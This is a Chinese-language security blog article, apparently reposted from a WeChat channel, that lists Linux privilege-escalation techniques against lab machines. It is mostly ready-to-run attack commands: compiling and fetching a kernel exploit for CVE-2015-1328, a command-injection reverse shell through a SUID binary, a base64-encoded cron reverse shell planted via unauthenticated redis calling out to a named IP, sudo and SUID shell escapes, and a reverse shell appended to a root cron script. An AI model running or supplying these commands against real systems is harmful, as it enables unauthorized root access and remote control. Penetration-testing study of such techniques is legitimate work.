Linux提权技巧整理

admin 2024年5月12日10:57:50评论8 views字数 2906阅读9分41秒阅读模式

点击蓝字 关注我们

Linux提权技巧整理

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

1、Linux3.13内核 ubuntu…

  • 尝试内核提权

  • 查询内核版本号,版本3.13

uname -a

Linux提权技巧整理

  • 搜索关键字

searchsploit linux 3.13.0 ubuntu priv

Linux提权技巧整理

由于靶机没有gcc,且查看37292.c脚本发现,还需编译ofs-lib.so文件。所以考虑把ofs-lib.so文件从lib文件复制出,并注释掉37292.c相关代码再便宜,并将编译后的文件和ofs-lib.so共同上传目标靶机

cp /usr/share/exploitdb/exploits/linux/local/37292.c .
注释掉37292.c的139-147行
gcc -o exp 37292.c
locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .

Linux提权技巧整理

Linux提权技巧整理

Linux提权技巧整理

  • 将编译好的expofs-lib.so上传至目标靶机

kali主机在tmp目录启动http server
python3 -m http.server 80

在靶机上下载exp和ofs-lib.so
cd /tmp
wget http://192.168.0.108/exp
wget http://192.168.0.108/ofs-lib.so
  • 执行exp文件,提权成功。

    chmod +x exp
    ./exp
    id

Linux提权技巧整理

2、发现具有sid权限的文件

查找sid的文件

find / -perm /4000 2>/dev/null
ls -l /home/scanner

分析上图得知:update_cloudav.c可能为update_cloudav的源码,且update_cloudav具有sid权限,且属主为root

通过对update_cloudav.c的源码进行审计,发现运行update_cloudav在运行云查杀的时候一定要带参数。由此可以设想携带我们需要命令来实现root身份反弹shell。

NC串联、本地提权

  • kali主机监听7777、8888

    nc -lnvp 7777
    nc -lnvp 8888

Linux提权技巧整理

  • 反弹Shell

./update_cloudav "a|nc 10.0.0.14 7777 | /bin/sh | nc 10.0.0.14 8888"

Linux提权技巧整理

3、sudo node提权

Linux提权技巧整理

sudo node -e 'child_process.spawn("/bin/bash", {stdio:[0,1,2]})'

Linux提权技巧整理

4、redis 提权

通过信息收集发现服务器运行 redis 服务,尝试未授权登录。

webshell 连接 redis 可能会有很多问题,但是解决问题的方式也有很多,这个时候开放式操作。目标写入计划任务反弹 root 权限 shell

下面以编码的方式处理。

反弹 shell ip 端口自行修改。

echo -e "n* * * * * bash -i >& /dev/tcp/149.129.65.126/4444 0>&1n"

使用 base64 编码

Linux提权技巧整理

以上内容进行 base64 然后 echo base64 之后的字符串进行 base64 解密,解密后通过 sh 执行,执行结果传递给 redis-cli

echo ZWNobyAtZSAiXG4qICogKiAqICogYmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMTI5LjY1LjEyNi80NDQ0IDA+JjFcbiI= |base64 -d |sh |/usr/local/src/redis-6.2.5/src/redis-cli -x set x

nc 反弹 shell

$ /usr/local/src/redis-6.2.5/src/redis-cli FLUSHALL

$ echo ZWNobyAtZSAiXG4qICogKiAqICogYmFzaCAtaSA+JiAvZGV2L3RjcC8xNDkuMTI5LjY1LjEyNi80NDQ0IDA+JjFcbiI= |base64 -d |sh |/usr/local/src/redis-6.2.5/src/redis-cli -x set x

$ /usr/local/src/redis-6.2.5/src/redis-cli config set dir /var/spool/cron/

$ /usr/local/src/redis-6.2.5/src/redis-cli config set dbfilename root

$ /usr/local/src/redis-6.2.5/src/redis-cli save

VPS 开启侦听

root@nsvicp:~# nc -lvp 4444

5、sudo 提权

查看 sudo 权限

sudo -l
(root) NOPASSWD: /usr/bin/find

读取 flag

sudo find / -name flag.txt -exec cat {} ;
flag{root nice}

awk 命令

sudo awk 'BEGIN {system("/bin/bash")}'

pip 命令

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

php 命令

CMD="/bin/sh"
sudo php -r "system('$CMD');"

6、suid 提权

查找拥有 suid 权限的文件

find / -perm /4000 2>/dev/null

vim 命令提权

/usr/bin/vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

7、计划任务提权

查找 777 权限文件

find / -perm 777 -type f

查看文件

cat hackme.sh

#!/bin/bash
echo `date` > /tmp/date.txt

被写入的文件是 root 权限,所以脚本由 root 身份执行。

ll /tmp/date.txt

-rw-r--r-- 1 root root 29 Aug 12 11:33 /tmp/date.txt

监控文件得知 1 分钟执行 1 次

watch 'ls -l /tmp/date.txt'

ll /tmp/date.txt

-rw-r--r-- 1 root root 29 Aug 12 11:33 /tmp/date.txt

写入反弹 shell ip 端口自行修改

echo "bash -i >& /dev/tcp/vps/4444 0>&1" >> /tmp/hackme.sh

侦听 4444 获取 shell

nc -lnvp 4444

!感谢Locks01师傅投稿!

原文始发于微信公众号(SecHub网络安全社区):Linux提权技巧整理

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月12日10:57:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Linux提权技巧整理https://cn-sec.com/archives/2726338.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息